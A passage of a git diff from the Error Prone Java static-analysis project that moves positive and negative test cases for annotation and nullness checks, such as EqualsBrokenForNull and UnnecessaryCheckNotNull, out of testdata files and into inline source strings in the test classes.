agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverlappingQualifierAndScopeAnnotationNegativeCases { - - @javax.inject.Scope - @interface MyJavaxScope {} - - @com.google.inject.ScopeAnnotation - @interface MyGuiceScope {} - - @javax.inject.Qualifier - @interface MyJavaxQualifier {} - - @com.google.inject.BindingAnnotation - @interface MyGuiceBindingAnnotation {} - - // suppression tests - @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") - @javax.inject.Scope - @javax.inject.Qualifier - @interface JavaxScopeAndJavaxQualifier {} - - @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") - @com.google.inject.ScopeAnnotation - @javax.inject.Qualifier - @interface GuiceScopeAndJavaxQualifier {} - - @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") - @com.google.inject.ScopeAnnotation - @com.google.inject.BindingAnnotation - @interface GuiceScopeAndGuiceBindingAnnotation {} - - @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") - @javax.inject.Scope - @com.google.inject.BindingAnnotation - @interface JavaxScopeAndGuiceBindingAnnotation {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationPositiveCases.java deleted file mode 100644 index cf8d31178d6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationPositiveCases.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverlappingQualifierAndScopeAnnotationPositiveCases { - - @javax.inject.Scope - @javax.inject.Qualifier - // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation - @interface JavaxScopeAndJavaxQualifier {} - - @com.google.inject.ScopeAnnotation - @javax.inject.Qualifier - // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation - @interface GuiceScopeAndJavaxQualifier {} - - @com.google.inject.ScopeAnnotation - @com.google.inject.BindingAnnotation - // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation - @interface GuiceScopeAndGuiceBindingAnnotation {} - - @javax.inject.Scope - @com.google.inject.BindingAnnotation - // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation - @interface JavaxScopeAndGuiceBindingAnnotation {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUseNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUseNegativeCases.java deleted file mode 100644 index 1a78d18b144..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUseNegativeCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Target; -import javax.inject.Qualifier; - -/** Tests for {@code QualifierWithTypeUse} */ -public class QualifierWithTypeUseNegativeCases { - - @Qualifier - @Target({ElementType.CONSTRUCTOR}) - @interface Qualifier1 {} - - @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) - @interface NotAQualifier {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUsePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUsePositiveCases.java deleted file mode 100644 index 01bf7c71fca..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUsePositiveCases.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.BindingAnnotation; -import java.lang.annotation.ElementType; -import java.lang.annotation.Target; -import javax.inject.Qualifier; - -/** Tests for {@code QualifierWithTypeUse} */ -public class QualifierWithTypeUsePositiveCases { - - @Qualifier - // BUG: Diagnostic contains: @Target({CONSTRUCTOR}) - @Target({ElementType.TYPE_USE, ElementType.CONSTRUCTOR}) - @interface Qualifier1 {} - - @Qualifier - // BUG: Diagnostic contains: remove - @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) - @interface Qualifier2 {} - - @BindingAnnotation - // BUG: Diagnostic contains: @Target({FIELD}) - @Target({ElementType.FIELD, ElementType.TYPE_USE}) - @interface BindingAnnotation1 {} - - @BindingAnnotation - // BUG: Diagnostic contains: remove - @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) - @interface BindingAnnotation2 {} - - @BindingAnnotation - // BUG: Diagnostic contains: remove - @Target(ElementType.TYPE_USE) - @interface BindingAnnotation3 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java deleted file mode 100644 index 55da405ff78..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Singleton; -import dagger.Component; -import dagger.Subcomponent; -import javax.inject.Scope; - -/** - * Negative test cases in which scoping annotations are used correctly. - * - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases { - - /** A concrete class that has no scoping annotation. */ - public class TestClass1 {} - - /** An abstract class that has no scoping annotation. */ - public abstract class TestClass2 {} - - /** An interface that has no scoping annotation. */ - public interface TestClass3 {} - - /** A concrete class that has scoping annotation. */ - @Singleton - public class TestClass4 {} - - @Scope - @interface CustomScope {} - - /** A concrete class that has a custom annotation. */ - @CustomScope - public class ClassWithCustomScope {} - - @Component - @Singleton - interface DaggerInterfaceComponent { - @Subcomponent - @CustomScope - abstract class DaggerAbstractClassSubcomponent {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java deleted file mode 100644 index 25485ada3e9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java +++ /dev/null @@ -1,38 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Singleton; - -/** - * Positive test cases in which a scoping annotation is put on an interface or anabstract class. The - * suggested fix is to remove the scoping annotation. - * - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases { - - /** An abstract class that has scoping annotation. */ - // BUG: Diagnostic contains: remove - @Singleton - public abstract class TestClass1 {} - - /** An interface interface has scoping annotation. */ - // BUG: Diagnostic contains: remove - @Singleton - public interface TestClass2 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/EqualsBrokenForNullTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/EqualsBrokenForNullTest.java index 9df780fcd38..b60082bf736 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/EqualsBrokenForNullTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/EqualsBrokenForNullTest.java @@ -32,12 +32,328 @@ public class EqualsBrokenForNullTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EqualsBrokenForNullPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsBrokenForNullPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + /** + * Positive test cases for EqualsBrokenForNull check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class EqualsBrokenForNullPositiveCases { + + private class ObjectGetClassArgToEquals { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassArgToEqualsMultiLine { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + if (!getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassArgToIsAssignableFrom { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!getClass().isAssignableFrom(obj.getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassArgToEquals2 { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!ObjectGetClassArgToEquals2.class.equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassReceiverToEquals { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!obj.getClass().equals(getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassReceiverToEquals2 { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!obj.getClass().equals(ObjectGetClassReceiverToEquals2.class)) { + return false; + } + return true; + } + } + + private class ObjectGetClassReceiverToIsAssignableFrom { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (!obj.getClass().isAssignableFrom(getClass())) { + return false; + } + return true; + } + } + + private class ObjectGetClassLeftOperandDoubleEquals { + @Override + // BUG: Diagnostic contains: if (other == null) { return false; } + public boolean equals(Object other) { + if (other.getClass() == ObjectGetClassLeftOperandDoubleEquals.class) { + return true; + } + return false; + } + } + + private class ObjectGetClassRightOperandDoubleEquals { + @Override + // BUG: Diagnostic contains: if (other == null) { return false; } + public boolean equals(Object other) { + if (ObjectGetClassRightOperandDoubleEquals.class == other.getClass()) { + return true; + } + return false; + } + } + + private class ObjectGetClassLeftOperandNotEquals { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (obj.getClass() != ObjectGetClassLeftOperandNotEquals.class) { + return false; + } + return true; + } + } + + private class ObjectGetClassRightOperandNotEquals { + @Override + // BUG: Diagnostic contains: if (obj == null) { return false; } + public boolean equals(Object obj) { + if (ObjectGetClassRightOperandNotEquals.class != obj.getClass()) { + return false; + } + return true; + } + } + + private class UnusedNullCheckWithNotEqualToInLeftOperand { + @Override + // BUG: Diagnostic contains: if (o == null) { return false; } + public boolean equals(Object o) { + if (this.getClass() != o.getClass() || o == null) { + return false; + } + return true; + } + } + + private class UnusedNullCheckWithGetClassInEqualsArg { + @Override + // BUG: Diagnostic contains: if (o == null) { return false; } + public boolean equals(Object o) { + if (this.getClass().equals(o.getClass()) || o == null) { + return false; + } + return true; + } + } + + private class UnsafeCastAndNoNullCheck { + private int a; + + @Override + // BUG: Diagnostic contains: if (o == null) { return false; } + public boolean equals(Object o) { + UnsafeCastAndNoNullCheck that = (UnsafeCastAndNoNullCheck) o; + return that.a == a; + } + } + + // Catch a buggy instanceof check that lets nulls through. + private class VerySillyInstanceofCheck { + private int a; + + @Override + // BUG: Diagnostic contains: if (o == null) { return false; } + public boolean equals(Object o) { + if (o != null && !(o instanceof VerySillyInstanceofCheck)) { + return false; + } + VerySillyInstanceofCheck that = (VerySillyInstanceofCheck) o; + return that.a == a; + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EqualsBrokenForNullNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsBrokenForNullNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.nullness.testdata; + +/** + * Negative test cases for EqualsBrokenForNull check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class EqualsBrokenForNullNegativeCases { + + private class ExplicitNullCheckFirst { + @Override + public boolean equals(Object obj) { + if (obj == null) { + return false; + } + if (!getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class CheckWithSuperFirst { + @Override + public boolean equals(Object obj) { + if (!super.equals(obj)) { + return false; + } + if (!getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class NullCheckAndObjectGetClassNotEqualTo { + @Override + public boolean equals(Object o) { + if (o == null || this.getClass() != o.getClass()) { + return false; + } + return true; + } + } + + private class NullCheckAndObjectGetClassArgToEquals { + @Override + public boolean equals(Object obj) { + if (obj != null && !getClass().equals(obj.getClass())) { + return false; + } + return true; + } + } + + private class NullCheckAndObjectGetClassReceiverToEquals { + @Override + public boolean equals(Object obj) { + if (obj != null && !obj.getClass().equals(getClass())) { + return false; + } + return true; + } + } + + private class NullCheckAndObjectGetClassLeftOperandDoubleEquals { + @Override + public boolean equals(Object other) { + if (other != null + && other.getClass() == NullCheckAndObjectGetClassLeftOperandDoubleEquals.class) { + return true; + } + return false; + } + } + + private class UsesInstanceOfWithNullCheck { + @Override + public boolean equals(Object other) { + if (other != null && other instanceof UsesInstanceOfWithNullCheck) { + return true; + } + return false; + } + } + + // https://stackoverflow.com/questions/2950319/is-null-check-needed-before-calling-instanceof + private class UsesInstanceOfWithoutNullCheck { + private int a; + + @Override + public boolean equals(Object other) { + if (other instanceof UsesInstanceOfWithoutNullCheck) { + UsesInstanceOfWithoutNullCheck that = (UsesInstanceOfWithoutNullCheck) other; + return that.a == a; + } + return false; + } + } + + private class IntermediateBooleanVariable { + private int a; + + @Override + public boolean equals(Object other) { + boolean isEqual = other instanceof IntermediateBooleanVariable; + if (isEqual) { + IntermediateBooleanVariable that = (IntermediateBooleanVariable) other; + return that.a == a; + } + return isEqual; + } + } + + private class UnsafeCastWithNullCheck { + private int a; + + @Override + public boolean equals(Object o) { + if (o == null) { + return false; + } + UnsafeCastWithNullCheck that = (UnsafeCastWithNullCheck) o; + return that.a == a; + } + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/NullablePrimitiveTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/NullablePrimitiveTest.java index 884dfc5b03d..55bd25cc18b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/NullablePrimitiveTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/NullablePrimitiveTest.java @@ -31,12 +31,62 @@ public class NullablePrimitiveTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/NullablePrimitivePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "NullablePrimitivePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.jspecify.annotations.Nullable; + + /** + * @author sebastian.h.monte@gmail.com (Sebastian Monte) + */ + public class NullablePrimitivePositiveCases { + + // BUG: Diagnostic contains: remove + @Nullable + int a; + + public void method( + // BUG: Diagnostic contains: remove + @Nullable + int a) { + } + + // BUG: Diagnostic contains: remove + @Nullable + public int method() { + return 0; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/NullablePrimitiveNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "NullablePrimitiveNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.jspecify.annotations.Nullable; + + /** + * @author sebastian.h.monte@gmail.com (Sebastian Monte) + */ + public class NullablePrimitiveNegativeCases { + @Nullable Integer a; + + public void method(@Nullable Integer a) {} + + @Nullable + public Integer method() { + return Integer.valueOf(0); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnnecessaryCheckNotNullTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnnecessaryCheckNotNullTest.java index 623e08cd2bd..d66509f2596 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnnecessaryCheckNotNullTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnnecessaryCheckNotNullTest.java @@ -168,25 +168,294 @@ void negative() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/UnnecessaryCheckNotNullPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "UnnecessaryCheckNotNullPositiveCase.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + import static com.google.common.base.Verify.verifyNotNull; + import static java.util.Objects.requireNonNull; + + import com.google.common.base.Preconditions; + import com.google.common.base.Verify; + import java.util.Objects; + + public class UnnecessaryCheckNotNullPositiveCase { + public void error_checkNotNull() { + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull("string literal"); + + // BUG: Diagnostic contains: remove this line + checkNotNull("string literal"); + + String thing = null; + // BUG: Diagnostic contains: (thing, + checkNotNull("thing is null", thing); + // BUG: Diagnostic contains: + Preconditions.checkNotNull("a string literal " + "that's got two parts", thing); + } + + public void error_verifyNotNull() { + // BUG: Diagnostic contains: remove this line + Verify.verifyNotNull("string literal"); + + // BUG: Diagnostic contains: remove this line + verifyNotNull("string literal"); + + String thing = null; + // BUG: Diagnostic contains: (thing, + verifyNotNull("thing is null", thing); + // BUG: Diagnostic contains: + Verify.verifyNotNull("a string literal " + "that's got two parts", thing); + } + + public void error_requireNonNull() { + // BUG: Diagnostic contains: remove this line + Objects.requireNonNull("string literal"); + + // BUG: Diagnostic contains: remove this line + requireNonNull("string literal"); + + String thing = null; + // BUG: Diagnostic contains: (thing, + requireNonNull("thing is null", thing); + // BUG: Diagnostic contains: + Objects.requireNonNull("a string literal " + "that's got two parts", thing); + } + + public void error_fully_qualified_import_checkNotNull() { + // BUG: Diagnostic contains: remove this line + com.google.common.base.Preconditions.checkNotNull("string literal"); + } + + public void error_fully_qualified_import_verifyNotNull() { + // BUG: Diagnostic contains: remove this line + com.google.common.base.Verify.verifyNotNull("string literal"); + } + + public void error_fully_qualified_import_requireNonNull() { + // BUG: Diagnostic contains: remove this line + java.util.Objects.requireNonNull("string literal"); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/UnnecessaryCheckNotNullNegativeCase.java").doTest(); + compilationHelper + .addSourceLines( + "UnnecessaryCheckNotNullNegativeCase.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + public class UnnecessaryCheckNotNullNegativeCase { + public void go_checkNotNull() { + Preconditions.checkNotNull("this is ok"); + } + + public void go_verifyNotNull() { + Verify.verifyNotNull("this is ok"); + } + + public void go_requireNonNull() { + Objects.requireNonNull("this is ok"); + } + + private static class Preconditions { + static void checkNotNull(String string) { + System.out.println(string); + } + } + + private static class Verify { + static void verifyNotNull(String string) { + System.out.println(string); + } + } + + private static class Objects { + static void requireNonNull(String string) { + System.out.println(string); + } + } + + public void go() { + Object testObj = null; + com.google.common.base.Preconditions.checkNotNull(testObj, "this is ok"); + com.google.common.base.Verify.verifyNotNull(testObj, "this is ok"); + java.util.Objects.requireNonNull(testObj, "this is ok"); + } + }""") + .doTest(); } @Test public void primitivePositiveCases() { compilationHelper - .addSourceFile("testdata/UnnecessaryCheckNotNullPrimitivePositiveCases.java") + .addSourceLines( + "UnnecessaryCheckNotNullPrimitivePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + + import com.google.common.base.Preconditions; + + public class UnnecessaryCheckNotNullPrimitivePositiveCases { + + private Tester field = new Tester(); + + public void test() { + Object a = new Object(); + Object b = new Object(); + byte byte1 = 0; + short short1 = 0; + int int1 = 0, int2 = 0; + long long1 = 0; + float float1 = 0; + double double1 = 0; + boolean boolean1 = false, boolean2 = false; + char char1 = 0; + Tester tester = new Tester(); + + // Do we detect all primitive types? + + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(byte1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(short1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(int1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(long1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(float1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(double1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(boolean1); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(char1); + + // Do we give the right suggested fix? + + // BUG: Diagnostic contains: boolean1 = boolean2; + boolean1 = Preconditions.checkNotNull(boolean2); + // BUG: Diagnostic contains: boolean1 = int1 == int2; + boolean1 = Preconditions.checkNotNull(int1 == int2); + // BUG: Diagnostic contains: checkState(tester.hasId()) + Preconditions.checkNotNull(tester.hasId()); + // BUG: Diagnostic contains: checkState(tester.hasId(), "Must have ID!") + Preconditions.checkNotNull(tester.hasId(), "Must have ID!"); + // BUG: Diagnostic contains: checkState(tester.hasId(), "Must have %s!", "ID") + Preconditions.checkNotNull(tester.hasId(), "Must have %s!", "ID"); + + // Do we handle arguments that evaluate to a primitive type? + + // BUG: Diagnostic contains: Preconditions.checkNotNull(a) + Preconditions.checkNotNull(a != null); + // BUG: Diagnostic contains: Preconditions.checkNotNull(a) + Preconditions.checkNotNull(a == null); + // BUG: Diagnostic contains: checkState(int1 == int2) + Preconditions.checkNotNull(int1 == int2); + // BUG: Diagnostic contains: checkState(int1 > int2) + Preconditions.checkNotNull(int1 > int2); + // BUG: Diagnostic contains: remove this line + Preconditions.checkNotNull(boolean1 ? int1 : int2); + + // Do we handle static imports? + + // BUG: Diagnostic contains: remove this line + checkNotNull(byte1); + // BUG: Diagnostic contains: 'checkState(tester.hasId()) + checkNotNull(tester.hasId()); + } + + public void test2(Tester arg) { + Tester local = new Tester(); + // Do we correctly distinguish checkArgument from checkState? + + // BUG: Diagnostic contains: checkArgument(arg.hasId()) + checkNotNull(arg.hasId()); + // BUG: Diagnostic contains: checkState(field.hasId()) + checkNotNull(field.hasId()); + // BUG: Diagnostic contains: checkState(local.hasId()) + checkNotNull(local.hasId()); + // BUG: Diagnostic contains: checkState(!local.hasId()) + checkNotNull(!local.hasId()); + + // BUG: Diagnostic contains: checkArgument(!(arg instanceof Tester)) + checkNotNull(!(arg instanceof Tester)); + + // BUG: Diagnostic contains: checkState(getTrue()) + checkNotNull(getTrue()); + + // BUG: Diagnostic contains: remove this line + checkNotNull(arg.getId()); + // BUG: Diagnostic contains: id = arg.getId() + int id = checkNotNull(arg.getId()); + + // BUG: Diagnostic contains: boolean b = arg.hasId(); + boolean b = checkNotNull(arg.hasId()); + + // Do we handle long chains of method calls? + + // BUG: Diagnostic contains: checkArgument(arg.getTester().getTester().hasId()) + checkNotNull(arg.getTester().getTester().hasId()); + + // BUG: Diagnostic contains: checkArgument(arg.tester.getTester().hasId()) + checkNotNull(arg.tester.getTester().hasId()); + } + + private boolean getTrue() { + return true; + } + + private static class Tester { + public Tester tester; + + public boolean hasId() { + return true; + } + + public int getId() { + return 10; + } + + public Tester getTester() { + return tester; + } + } + }""") .doTest(); } @Test public void primitiveNegativeCases() { compilationHelper - .addSourceFile("testdata/UnnecessaryCheckNotNullPrimitiveNegativeCases.java") + .addSourceLines( + "UnnecessaryCheckNotNullPrimitiveNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + + import com.google.common.base.Preconditions; + + public class UnnecessaryCheckNotNullPrimitiveNegativeCases { + public void test() { + Object obj1 = new Object(); + + Preconditions.checkNotNull(obj1); + checkNotNull(obj1); + Preconditions.checkNotNull(obj1, "obj1 should not be null"); + Preconditions.checkNotNull(obj1, "%s should not be null", "obj1"); + Preconditions.checkNotNull(obj1.toString()); + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnsafeWildcardTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnsafeWildcardTest.java index 63499033864..9dcf2cc4099 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnsafeWildcardTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/UnsafeWildcardTest.java @@ -30,7 +30,54 @@ public class UnsafeWildcardTest { @Test public void unsoundGenericMethod() { - compilationHelper.addSourceFile("testdata/UnsoundGenericMethod.java").doTest(); + compilationHelper + .addSourceLines( + "UnsoundGenericMethod.java", + """ + package com.google.errorprone.bugpatterns.nullness.testdata; + + import static java.util.stream.Collectors.toList; + + import java.util.List; + import java.util.function.Function; + import java.util.stream.Stream; + + public class UnsoundGenericMethod { + public interface Marker {} + + public interface Converter { + List convert(T input); + } + + // error below can be avoided here with "class Impl ..." + private static class Impl implements Function> { + private final Stream> cs; + + private Impl(Stream> cs) { + this.cs = cs; + } + + @Override + public List apply(T input) { + // BUG: Diagnostic contains: Unsafe wildcard in inferred type argument + return cs.map(c -> new Wrap<>(c).handle(input)).collect(toList()); + } + } + + private static class Wrap { + Wrap(Converter unused) {} + + T handle(T input) { + return input; + } + } + + public static void main(String... args) { + // BUG: Diagnostic contains: impossible + new Impl<>(Stream.of(null, null)).apply("boom"); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullNegativeCases.java deleted file mode 100644 index 90192ecc4ce..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullNegativeCases.java +++ /dev/null @@ -1,143 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -/** - * Negative test cases for EqualsBrokenForNull check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class EqualsBrokenForNullNegativeCases { - - private class ExplicitNullCheckFirst { - @Override - public boolean equals(Object obj) { - if (obj == null) { - return false; - } - if (!getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class CheckWithSuperFirst { - @Override - public boolean equals(Object obj) { - if (!super.equals(obj)) { - return false; - } - if (!getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class NullCheckAndObjectGetClassNotEqualTo { - @Override - public boolean equals(Object o) { - if (o == null || this.getClass() != o.getClass()) { - return false; - } - return true; - } - } - - private class NullCheckAndObjectGetClassArgToEquals { - @Override - public boolean equals(Object obj) { - if (obj != null && !getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class NullCheckAndObjectGetClassReceiverToEquals { - @Override - public boolean equals(Object obj) { - if (obj != null && !obj.getClass().equals(getClass())) { - return false; - } - return true; - } - } - - private class NullCheckAndObjectGetClassLeftOperandDoubleEquals { - @Override - public boolean equals(Object other) { - if (other != null - && other.getClass() == NullCheckAndObjectGetClassLeftOperandDoubleEquals.class) { - return true; - } - return false; - } - } - - private class UsesInstanceOfWithNullCheck { - @Override - public boolean equals(Object other) { - if (other != null && other instanceof UsesInstanceOfWithNullCheck) { - return true; - } - return 